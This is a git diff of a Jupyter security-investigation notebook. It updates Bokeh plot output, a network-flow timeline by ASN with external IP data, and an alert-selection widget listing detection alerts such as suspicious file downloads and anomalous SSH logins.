[\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"3116\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" @@ -3120,7 +3360,7 @@ "\n", "\n", "\n", - "
\n" + "
\n" ] }, "metadata": {}, @@ -3132,8 +3372,8 @@ "(function(root) {\n", " function embed_document(root) {\n", " \n", - " var docs_json = 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Application\",\"version\":\"2.2.2\"}};\n", + " var render_items = [{\"docid\":\"0fac9461-acf3-4fdc-9ab2-e47478a0153c\",\"root_ids\":[\"3544\"],\"roots\":{\"3544\":\"b536aa9c-1803-485d-bb4a-d397433f83e4\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", @@ -3160,7 +3400,7 @@ }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { - "id": "2898" + "id": "3544" } }, "output_type": "display_data" @@ -3208,13 +3448,12 @@ }, { "cell_type": "code", - "execution_count": 17, + "execution_count": 18, "metadata": { "ExecuteTime": { "end_time": "2020-08-25T19:15:21.066890Z", "start_time": "2020-08-25T19:15:17.993889Z" - }, - "scrolled": false + } }, "outputs": [ { @@ -3230,7 +3469,7 @@ "\n", "
\n", " \n", - " Loading BokehJS ...\n", + " Loading BokehJS ...\n", "
" ] }, @@ -3400,7 +3639,7 @@ " \"\"}};\n", "\n", " function display_loaded() {\n", - " var el = document.getElementById(\"3221\");\n", + " var el = document.getElementById(\"3821\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", @@ -3466,7 +3705,7 @@ " document.body.appendChild(element);\n", " }\n", "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", @@ -3491,7 +3730,7 @@ " }\n", "\n", " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", @@ -3520,7 +3759,7 @@ " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"3221\")).parents('.cell').data().cell;\n", + " var cell = $(document.getElementById(\"3821\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", @@ -3537,7 +3776,7 @@ " }\n", "}(window));" ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"3221\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"3221\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"3821\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"3821\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" @@ -3551,7 +3790,7 @@ "\n", "\n", "\n", - "
\n" + "
\n" ] }, "metadata": {}, @@ -3563,8 +3802,8 @@ "(function(root) {\n", " function embed_document(root) {\n", " \n", - " var docs_json = {\"c01c8fc4-7662-4c78-bf0a-cc1647aa1b6a\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"3233\"},{\"id\":\"3265\"}]},\"id\":\"3402\",\"type\":\"Column\"},{\"attributes\":{},\"id\":\"3454\",\"type\":\"YearsTicker\"},{\"attributes\":{},\"id\":\"3240\",\"type\":\"LinearScale\"},{\"attributes\":{\"formatter\":{\"id\":\"3282\"},\"ticker\":{\"id\":\"3277\"}},\"id\":\"3276\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"end\":1550287059000.0,\"start\":1549575279000.0},\"id\":\"3236\",\"type\":\"Range1d\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"3452\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"3406\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"3443\"},{\"id\":\"3444\"},{\"id\":\"3445\"},{\"id\":\"3446\"},{\"id\":\"3447\"},{\"id\":\"3448\"},{\"id\":\"3449\"},{\"id\":\"3450\"},{\"id\":\"3451\"},{\"id\":\"3452\"},{\"id\":\"3453\"},{\"id\":\"3454\"}]},\"id\":\"3277\",\"type\":\"DatetimeTicker\"},{\"attributes\":{},\"id\":\"3242\",\"type\":\"LinearScale\"},{\"attributes\":{\"axis\":{\"id\":\"3276\"},\"ticker\":null},\"id\":\"3279\",\"type\":\"Grid\"},{\"attributes\":{\"source\":{\"id\":\"3227\"}},\"id\":\"3313\",\"type\":\"CDSView\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":{\"id\":\"3334\"},\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"3334\"}]},\"id\":\"3280\",\"type\":\"Toolbar\"},{\"attributes\":{\"end\":9.1,\"start\":-0.1},\"id\":\"3238\",\"type\":\"Range1d\"},{\"attributes\":{\"text\":\"Timeline: Network Flows by ASN\"},\"id\":\"3234\",\"type\":\"Title\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"23.48.36.47\",\"23.45.180.121\",\"23.48.36.78\",\"23.3.13.106\",\"23.3.13.112\",\"23.45.180.234\",\"23.3.13.146\",\"23.48.36.78\",\"23.45.181.178\",\"184.51.150.81\",\"23.45.180.34\",\"23.45.180.232\",\"23.45.181.160\",\"23.56.172.240\",\"23.45.180.184\",\"23.45.181.176\",\"23.73.181.8\",\"184.51.150.105\",\"23.48.36.61\",\"23.48.36.78\",\"23.3.13.152\",\"23.45.180.224\",\"23.215.98.90\"],\"ExtASN\":[\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\"],\"FlowDirection\":[\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AABpjdeOdkIAAMgD2o52QgCAyZ2HjnZCAIAnlI2OdkIAgCeUjY52QgCAJ5SNjnZCAIAnlI2OdkIAAIYmWY52QgCAlslNjnZCAAAqiVKOdkIAACqJUo52QgCAlVeojXZCAIC26pmNdkIAAP3/O412QgCAfk/rjHZCAIAEde+MdkIAgE5NvY12QgCAGd2jjXZCAIBZyW2NdkIAAAWrQo12QgAAuIRHjXZCAAC4hEeNdkIAgIL8Uo12Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[23]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\",\"http\"],\"index\":[18,183,334,347,349,350,353,514,537,558,559,688,698,907,942,964,1022,1067,1192,1309,1324,1325,1358],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"3412\"},\"selection_policy\":{\"id\":\"3411\"}},\"id\":\"3223\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"label\":{\"value\":\"EDGECAST, US\"},\"renderers\":[{\"id\":\"3369\"}]},\"id\":\"3397\",\"type\":\"LegendItem\"},{\"attributes\":{\"below\":[{\"id\":\"3244\"}],\"center\":[{\"id\":\"3247\"},{\"id\":\"3251\"}],\"left\":[{\"id\":\"3248\"}],\"min_border_left\":50,\"plot_height\":300,\"plot_width\":900,\"renderers\":[{\"id\":\"3344\"},{\"id\":\"3349\"},{\"id\":\"3354\"},{\"id\":\"3359\"},{\"id\":\"3364\"},{\"id\":\"3369\"},{\"id\":\"3374\"},{\"id\":\"3379\"},{\"id\":\"3384\"},{\"id\":\"3389\"}],\"right\":[{\"id\":\"3391\"}],\"title\":{\"id\":\"3234\"},\"toolbar\":{\"id\":\"3258\"},\"x_range\":{\"id\":\"3236\"},\"x_scale\":{\"id\":\"3240\"},\"y_range\":{\"id\":\"3238\"},\"y_scale\":{\"id\":\"3242\"}},\"id\":\"3233\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"label\":{\"value\":\"GOOGLE, US\"},\"renderers\":[{\"id\":\"3374\"}]},\"id\":\"3398\",\"type\":\"LegendItem\"},{\"attributes\":{\"text\":\"Range Selector\"},\"id\":\"3266\",\"type\":\"Title\"},{\"attributes\":{\"fill_color\":{\"value\":\"#2D6E8E\"},\"line_color\":{\"value\":\"#2D6E8E\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3305\",\"type\":\"Circle\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"8.253.45.249\",\"8.249.241.254\",\"67.26.237.254\",\"67.26.233.254\"],\"ExtASN\":[\"LEVEL3, US\",\"LEVEL3, US\",\"LEVEL3, US\",\"LEVEL3, US\"],\"FlowDirection\":[\"O\",\"O\",\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AIDJnYeOdkIAgBy9g452QgAATbbWjHZCAIA7qYiNdkI=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[4]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"http\",\"http\",\"http\",\"http\"],\"index\":[330,360,959,1103],\"y_index\":[8,8,8,8]},\"selected\":{\"id\":\"3426\"},\"selection_policy\":{\"id\":\"3425\"}},\"id\":\"3230\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"3282\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"data_source\":{\"id\":\"3226\"},\"glyph\":{\"id\":\"3305\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3306\"},\"selection_glyph\":null,\"view\":{\"id\":\"3308\"}},\"id\":\"3307\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@FlowStartTime\":\"datetime\"},\"tooltips\":[[\"FlowType\",\"@FlowType\"],[\"FlowStartTime\",\"@FlowStartTime{%F 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[id:2518520973978269999_57b6af71-984e-45f3-9aac-d6bbd79eed07]", + "2019-02-15 19:43:49 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518520409706099999_c5116800-e694-4900-a6e3-28cc7875b093]", + "2019-02-15 19:55:10 - Suspicious Activity Detected - () - [id:2518520402897969999_b946cd89-667e-4ce7-b571-9603859a7234]", + "2019-02-16 03:23:54 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518520133657099999_384e00d0-4afc-4e9a-8935-bec64d3951a4]", + "2019-02-16 20:49:59 - SSH Anomalous Login ML - () - [id:cf3d882a-3dc8-4526-80f0-0962b8d480c1]", + "2019-02-16 20:54:02 - SSH Anomalous Login ML - () - [id:a37e604d-fc93-43cc-997f-8b5c2fc53990]", + "2019-02-16 20:59:02 - SSH Anomalous Login ML - () - [id:c10ed21e-c5e6-4e7f-bb86-e586bfa2a2a3]", + "2019-02-16 21:04:02 - SSH Anomalous Login ML - () - [id:6a5661f9-9a57-4aa8-bb01-1d6743af998e]", + "2019-02-16 21:09:02 - SSH Anomalous Login ML - () - [id:723f61c8-86bd-46b4-96af-9b6509b0e83e]", + "2019-02-16 21:14:02 - SSH Anomalous Login ML - () - [id:cdaac819-757e-4296-9b64-5edd7e35e57f]", + "2019-02-16 21:19:02 - SSH Anomalous Login ML - () - [id:83062676-4b8d-4579-bcc9-196f086b93af]", + "2019-02-16 21:24:02 - SSH Anomalous Login ML - () - [id:9e25fa59-032f-42be-b8a1-495b773d6ef8]", + "2019-02-16 23:04:02 - SSH Anomalous Login ML - () - [id:eea9d793-0e7e-4911-a0e9-cf87bea6ec3e]", + "2019-02-16 23:09:02 - SSH Anomalous Login ML - () - [id:2007a3bf-db86-4a2e-ab4c-240660c6820a]", + "2019-02-16 23:14:02 - SSH Anomalous Login ML - () - [id:52f884eb-4193-43e7-9e3a-63889edbfb04]", + "2019-02-16 23:19:02 - SSH Anomalous Login ML - () - [id:6d53e2fc-3cfc-4c04-8396-c3dcbf1caa5e]", + "2019-02-16 23:24:02 - SSH Anomalous Login ML - () - [id:e782d6be-34d2-41c0-8b39-14ebbeef01a3]", + "2019-02-16 23:29:02 - SSH Anomalous Login ML - () - [id:3f756526-328e-4dc2-badb-304acded79fe]", + "2019-02-18 01:09:02 - SSH Anomalous Login ML - () - [id:dbd390dc-7a94-47e4-83e4-60a390e4073c]", + "2019-02-18 01:14:02 - SSH Anomalous Login ML - () - [id:64a2b4af-c3d7-422c-820b-7f1feb664222]", + "2019-02-18 01:19:02 - SSH Anomalous Login ML - () - [id:3968ef4e-b322-48ca-b297-e984aff8888d]", + "2019-02-18 01:24:02 - SSH Anomalous Login ML - () - [id:41f1f6b6-d2ea-4821-9659-0cfab6558cec]", + "2019-02-18 01:29:02 - SSH Anomalous Login ML - () - [id:214e5829-1a76-445b-845e-bf9ce81c3d4c]", + "2019-02-18 01:33:19 - SSH Anomalous Login ML - () - [id:8f622935-1422-41e6-b8f6-9119e681645c]", + "2019-02-18 01:34:02 - SSH Anomalous Login ML - () - [id:770459f6-d5ca-4561-a5fe-0911c64d3ace]", + "2019-02-18 01:39:02 - SSH Anomalous Login ML - () - [id:5dc33495-46c1-4232-9031-1cfa67c36724]", + "2019-02-18 01:44:02 - SSH Anomalous Login ML - () - [id:2de58958-55b0-4f0c-8113-063c815248a0]", + "2019-02-18 01:44:02 - SSH Anomalous Login ML - () - [id:95fb8ee8-479d-4b5f-b061-0b76946c9f4f]", + "2019-02-18 01:44:02 - SSH Anomalous Login ML - () - [id:e7a2c7ee-f8aa-4684-805d-72041ea18cf7]", + "2019-02-18 01:49:02 - SSH Anomalous Login ML - () - [id:f1ce87ca-8863-4a66-a0bd-a4d3776a7c64]", + "2019-02-18 01:49:02 - SSH Anomalous Login ML - () - [id:a17c8522-f069-4943-8783-171654d0de7c]", + "2019-02-18 01:49:02 - SSH Anomalous Login ML - () - [id:3a78a119-abe9-4b5e-9786-300ddcfd9530]", + "2019-02-18 03:14:21 - SSH Anomalous Login ML - () - [id:69a87b55-b6a5-4e58-8101-906a4051e29a]", + "2019-02-18 15:29:22 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518517970377929999_6ed51e72-6170-4f28-b551-9b7b49936c4c]", + "2019-02-18 16:39:21 - SSH Anomalous Login ML - () - [id:932a6e3c-7747-4e89-8159-c597868089bb]" + ], + "description": "Select alert :", + "index": 6, + "layout": "IPY_MODEL_c26a4814b15a41739815eebdc901dab9", + "style": "IPY_MODEL_4cc35a417a5d4d5698d3501c2096ba00" + } + }, + "39e9e484588943fda08e11ee20d0451b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "TextModel", + "state": { + "description": "Filter alerts by title:", + "layout": 